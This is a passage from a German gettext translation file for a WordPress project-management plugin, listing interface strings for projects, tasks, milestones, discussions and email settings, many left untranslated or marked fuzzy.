aktualsierte Kommentirung von %s" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -# @ cpm -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "Projekt" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -# @ cpm -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "Aufgabenliste" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -# @ cpm -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "Meilenstein" - -# @ cpm -#: texts/resource_types.php:20 -#, fuzzy -#| msgid "%d comment" -#| msgid_plural "%d comments" -msgid "comment" -msgstr "%d Kommentar" - -# @ cpm -#: texts/resource_types.php:23 -#, fuzzy -#| msgid "%d file" -#| msgid_plural "%d files" -msgid "file" -msgstr "%d Datei" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -# @ cpm -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "Keine Kommentare gefunden" - -# @ cpm -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "Kein Projekt gefunden" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -# @ cpm -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "Sind Sie sicher?" - -# @ cpm -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "Wollen Sie diesen Projekt wirklich löschen?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "Möchten Sie diese Nachricht wirklich löschen?" - -# @ cpm -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this project?" -msgid "Are you sure to delete this comment?" -msgstr "Wollen Sie diesen Projekt wirklich löschen?" - -# @ cpm -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "Neue Nachricht hinzufügen" - -# @ cpm -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "Nachricht aktualisieren" - -# @ cpm -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Projekttätigkeit" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Aufgabenlisten" - -# @ cpm -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "Meilensteine" - -# @ cpm -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Dateien" - -# @ cpm -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Bearbeiten" - -# @ cpm -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "Diese Nachricht löschen" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "Nachrichtentitel eingeben" - -# @ cpm -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Nachricht hinzufügen" - -# @ cpm -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Nachricht aktualisieren" - -# @ cpm -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Ein neues Projekt beginnen" - -# @ cpm -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "Projektname" - -# @ wedevs -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Einige Details über das Projekt (optional)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Neues Projekt hinzufügen" - -# @ cpm -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Projekt aktualisieren" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Meilenstein bearbeiten" - -# @ cpm -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "Meilenstein löschen" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Als erledigt markieren" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "Meilensteinname" - -# @ cpm -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Meilenstein hinzufügen" - -# @ cpm -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Meilenstein aktualisieren" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Neue Aufgabe" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Liste aktualisieren" - -# @ cpm -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Liste hinzufügen" - -# @ cpm -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete milestone" -msgid "Delete List" -msgstr "Meilenstein löschen" - -# @ cpm -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Änderungen speichern" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Aktivität" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Löschen" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "Alle wählen" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -# @ cpm -# @ wedevs -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "Abbrechen" - -# @ cpm -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select all" -msgid "Select Color" -msgstr "Alle wählen" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -# @ default -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Datei Löschen" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -# @ cpm -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Abgeschlossen" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -# @ cpm -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Benutzer benachrichtigen" - -# @ cpm -#: views/assets/src/components/project-activities/activities.vue:46 -#, fuzzy -#| msgid "Load More..." -msgid "Load More ..." -msgstr "Mehr laden..." - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Neue Nachricht erstellen" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -#, fuzzy -#| msgid "Body" -msgid "By" -msgstr "Text" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "Keine Benutzer gefunden" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Neues Projekt" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Aufgaben" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Abgeschlossene Meilensteine" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Abgeschlossen am:" - -# @ cpm -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Letzte Meilensteine" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Zukünftige Meilensteine" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "links" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Neue Aufgabenliste" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "E-Mail-Einstellungen" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "E-Mail-Typ" - -# @ cpm -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "HTML-E-Mail" - -# @ cpm -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "Text-E-Mail" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid 